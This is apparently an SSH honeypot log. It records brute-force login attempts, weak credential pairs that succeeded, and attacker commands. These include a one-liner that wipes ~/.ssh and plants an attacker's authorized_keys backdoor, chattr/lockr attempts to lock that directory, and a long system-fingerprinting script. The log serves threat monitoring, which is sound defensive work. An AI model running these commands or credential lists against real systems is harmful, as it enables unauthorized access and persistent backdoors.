      "cmd": "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "lockr -ia .ssh"
  ],
  "score": 80,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN"
  ]
}
91.92.40.217
2026-07-24 17:33:49.742628 UTC
SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: root / admin1

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: 7dc86d23d413
Client Version: SSH-2.0-Go
Engagement Duration: 2.5s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "7dc86d23d413",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:33:49.742628Z",
  "end_time": "2026-07-24T17:33:52.208232Z",
  "duration": "2.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "admin1"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}
91.92.40.217
2026-07-24 17:33:43.166549 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: nginx

Record ID: 73d6e6119d11
Client Version: SSH-2.0-Go
Engagement Duration: 3.9s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "73d6e6119d11",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:33:43.166549Z",
  "end_time": "2026-07-24T17:33:47.068535Z",
  "duration": "3.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "nginx",
      "pass": "toor"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
91.92.40.217
2026-07-24 17:33:37.418601 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: core

Record ID: d634039f89f1
Client Version: SSH-2.0-Go
Engagement Duration: 3.5s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "d634039f89f1",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:33:37.418601Z",
  "end_time": "2026-07-24T17:33:40.889330Z",
  "duration": "3.5",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "core",
      "pass": "P@ssw0rd"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
80.94.92.179
2026-07-24 17:33:35.405397 UTC
SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 200

Credential acceptance event recorded. Target authentication: root / passw0rd

Remote entity achieved interactive shell state. Command sequence (9 executed):

[obs-node]:~$ export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '"' ) || echo ""); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q "lm" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 8" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q "CPU architecture: 7" /proc/cpuinfo && echo armv7l ) || echo ""); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c "^processor" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E "^model name" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E "^Hardware" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; printf 'execute_err='; out=$(bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf "#!/bin/bash\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case "$out" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf "#!/bin/sh\necho \"xxxxxx\"\n" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' "$out" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\n' 2>/dev/null || busybox tr -d '\n' 2>/dev/null || cat ); printf '\n'; echo '===DONE===' ) 2>&1 ); echo "UNAME:$uname"; echo "ARCH:$arch"; echo "UPTIME:$uptime"; echo "CPUS:$cpus"; echo "CPU_MODEL:$cpu_model"; echo "GPU:$gpu_info"; echo "LAST:$last_output"; echo "FILTER:$filter_output"
[obs-node]:~$ uname -s -v -n -m 2 > /dev/null
[obs-node]:~$ /bin/uname -s -v -n -m 2 > /dev/null
[obs-node]:~$ /usr/bin/uname -s -v -n -m 2 > /dev/null
Command not found: /usr/bin/uname -s -v -n -m
[obs-node]:~$ busybox uname -s -v -n -m 2 > /dev/null
[obs-node]:~$ ( [ -f /proc/version ]
[obs-node]:~$ [ -f /proc/version ]
[obs-node]:~$ head -1 /proc/version | cut -d -f1
[obs-node]:~$ [ -f /etc/os-release ]
Record ID: dadc126736b9
Client Version: SSH-2.0-Go
Engagement Duration: 1.4s
HASSH Fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5
{
  "id": "dadc126736b9",
  "src_ip": "80.94.92.179",
  "start_time": "2026-07-24T17:33:35.405397Z",
  "end_time": "2026-07-24T17:33:36.810233Z",
  "duration": "1.4",
  "version": "SSH-2.0-Go",
  "hassh": "2ec37a7cc8daf20b10e1ad6221061ca5",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "passw0rd"
  },
  "commands": [
    "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"",
    "uname -s -v -n -m 2 > /dev/null",
    "/bin/uname -s -v -n -m 2 > /dev/null",
    "/usr/bin/uname -s -v -n -m 2 > /dev/null",
    "busybox uname -s -v -n -m 2 > /dev/null",
    "( [ -f /proc/version ]",
    "[ -f /proc/version ]",
    "head -1 /proc/version | cut -d -f1",
    "[ -f /etc/os-release ]"
  ],
  "detailed_commands": [
    {
      "cmd": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH; uname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\"); arch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\"); uptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null); cpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null); cpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 ); gpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null ); last_output=$(last 2>/dev/null); filter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 ); echo \"UNAME:$uname\"; echo \"ARCH:$arch\"; echo \"UPTIME:$uptime\"; echo \"CPUS:$cpus\"; echo \"CPU_MODEL:$cpu_model\"; echo \"GPU:$gpu_info\"; echo \"LAST:$last_output\"; echo \"FILTER:$filter_output\"",
      "failed": false,
      "error": null
    },
    {
      "cmd": "uname -s -v -n -m 2 > /dev/null",
      "failed": false,
      "error": null
    },
    {
      "cmd": "/bin/uname -s -v -n -m 2 > /dev/null",
      "failed": false,
      "error": null
    },
    {
      "cmd": "/usr/bin/uname -s -v -n -m 2 > /dev/null",
      "failed": true,
      "error": "Command not found: /usr/bin/uname -s -v -n -m"
    },
    {
      "cmd": "busybox uname -s -v -n -m 2 > /dev/null",
      "failed": false,
      "error": null
    },
    {
      "cmd": "( [ -f /proc/version ]",
      "failed": false,
      "error": null
    },
    {
      "cmd": "[ -f /proc/version ]",
      "failed": false,
      "error": null
    },
    {
      "cmd": "head -1 /proc/version | cut -d -f1",
      "failed": false,
      "error": null
    },
    {
      "cmd": "[ -f /etc/os-release ]",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [
    "/usr/bin/uname -s -v -n -m"
  ],
  "score": 200,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}
91.92.40.217
2026-07-24 17:33:31.295756 UTC
SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: root / P@ssword1

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: 75f814780ed7
Client Version: SSH-2.0-Go
Engagement Duration: 2.6s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "75f814780ed7",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:33:31.295756Z",
  "end_time": "2026-07-24T17:33:33.946314Z",
  "duration": "2.6",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "P@ssword1"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}
91.92.40.217
2026-07-24 17:33:24.548891 UTC
SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: deploy / rootroot

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: 64ab93841eaf
Client Version: SSH-2.0-Go
Engagement Duration: 2.9s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "64ab93841eaf",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:33:24.548891Z",
  "end_time": "2026-07-24T17:33:27.416693Z",
  "duration": "2.9",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "deploy",
    "pass": "rootroot"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}
137.255.13.211
2026-07-24 17:33:23.499739 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: andrei

Record ID: cb1672066f76
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 2.5s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "cb1672066f76",
  "src_ip": "137.255.13.211",
  "start_time": "2026-07-24T17:33:23.499739Z",
  "end_time": "2026-07-24T17:33:26.049497Z",
  "duration": "2.5",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "andrei",
      "pass": "12345"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
91.92.40.217
2026-07-24 17:33:18.715701 UTC
SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: user / password

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: fd77b381b153
Client Version: SSH-2.0-Go
Engagement Duration: 2.2s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "fd77b381b153",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:33:18.715701Z",
  "end_time": "2026-07-24T17:33:20.887878Z",
  "duration": "2.2",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "user",
    "pass": "password"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}
91.92.40.217
2026-07-24 17:33:12.338608 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: debian

Record ID: 15f5ba1b2d9e
Client Version: SSH-2.0-Go
Engagement Duration: 3.3s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "15f5ba1b2d9e",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:33:12.338608Z",
  "end_time": "2026-07-24T17:33:15.643580Z",
  "duration": "3.3",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "debian",
      "pass": "123456"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
91.92.40.217
2026-07-24 17:33:06.454288 UTC
SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: hadoop / 123

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: 43613f96fd23
Client Version: SSH-2.0-Go
Engagement Duration: 3.0s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "43613f96fd23",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:33:06.454288Z",
  "end_time": "2026-07-24T17:33:09.451609Z",
  "duration": "3.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "hadoop",
    "pass": "123"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}
91.92.40.217
2026-07-24 17:32:59.570926 UTC
SUCCESSFUL LOGIN COMMANDS RUN RECONNAISSANCE SCORE: 100

Credential acceptance event recorded. Target authentication: root / P@ssw0rd2026

Remote entity achieved interactive shell state. Command sequence (1 executed):

[obs-node]:~$ uname -s -v -n -r -m
Record ID: 7b26e8d5ccf2
Client Version: SSH-2.0-Go
Engagement Duration: 4.0s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "7b26e8d5ccf2",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:32:59.570926Z",
  "end_time": "2026-07-24T17:33:03.559545Z",
  "duration": "4.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "root",
    "pass": "P@ssw0rd2026"
  },
  "commands": [
    "uname -s -v -n -r -m"
  ],
  "detailed_commands": [
    {
      "cmd": "uname -s -v -n -r -m",
      "failed": false,
      "error": null
    }
  ],
  "failed_commands": [],
  "score": 100,
  "tags": [
    "SUCCESSFUL LOGIN",
    "COMMANDS RUN",
    "RECONNAISSANCE"
  ]
}
91.92.40.217
2026-07-24 17:32:53.752691 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: nexus

Record ID: 4b6a23f6923a
Client Version: SSH-2.0-Go
Engagement Duration: 3.0s
HASSH Fingerprint: 0a07365cc01fa9fc82608ba4019af499
{
  "id": "4b6a23f6923a",
  "src_ip": "91.92.40.217",
  "start_time": "2026-07-24T17:32:53.752691Z",
  "end_time": "2026-07-24T17:32:56.718775Z",
  "duration": "3.0",
  "version": "SSH-2.0-Go",
  "hassh": "0a07365cc01fa9fc82608ba4019af499",
  "attempts": [
    {
      "user": "nexus",
      "pass": "nexus"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
209.141.47.217
2026-07-24 17:32:50.378381 UTC
SUCCESSFUL LOGIN SCORE: 50

Credential acceptance event recorded. Target authentication: postgres / 3245gs5662d34

Record ID: 3bd67f2fdb06
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 0.2s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "3bd67f2fdb06",
  "src_ip": "209.141.47.217",
  "start_time": "2026-07-24T17:32:50.378381Z",
  "end_time": "2026-07-24T17:32:50.582512Z",
  "duration": "0.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [],
  "success_login": true,
  "success_credential": {
    "user": "postgres",
    "pass": "3245gs5662d34"
  },
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 50,
  "tags": [
    "SUCCESSFUL LOGIN"
  ]
}
209.141.47.217
2026-07-24 17:32:49.159508 UTC
FAILED LOGIN SCORE: 0

Unauthorized authentication attempt escalated. Dictionary traversal detected (1 distinct queries). Vector identities: 345gs5662d34

Record ID: 5f32d88c0d92
Client Version: SSH-2.0-libssh_0.9.6
Engagement Duration: 1.2s
HASSH Fingerprint: f555226df1963d1d3c09daf865abdc9a
{
  "id": "5f32d88c0d92",
  "src_ip": "209.141.47.217",
  "start_time": "2026-07-24T17:32:49.159508Z",
  "end_time": "2026-07-24T17:32:50.354258Z",
  "duration": "1.2",
  "version": "SSH-2.0-libssh_0.9.6",
  "hassh": "f555226df1963d1d3c09daf865abdc9a",
  "attempts": [
    {
      "user": "345gs5662d34",
      "pass": "345gs5662d34"
    }
  ],
  "success_login": false,
  "success_credential": null,
  "commands": [],
  "detailed_commands": [],
  "failed_commands": [],
  "score": 0,
  "tags": [
    "FAILED LOGIN"
  ]
}
209.141.47.217
2026-07-24 17:32:48.686899 UTC
SUCCESSFUL LOGIN COMMANDS RUN SCORE: 80

Credential acceptance event recorded. Target authentication: postgres / admin123

Remote entity achieved interactive shell state. Command sequence (2 executed):

[obs-node]:~$ cd ~; chattr -ia .ssh; lockr -ia .ssh
Command not found: lockr -ia .ssh
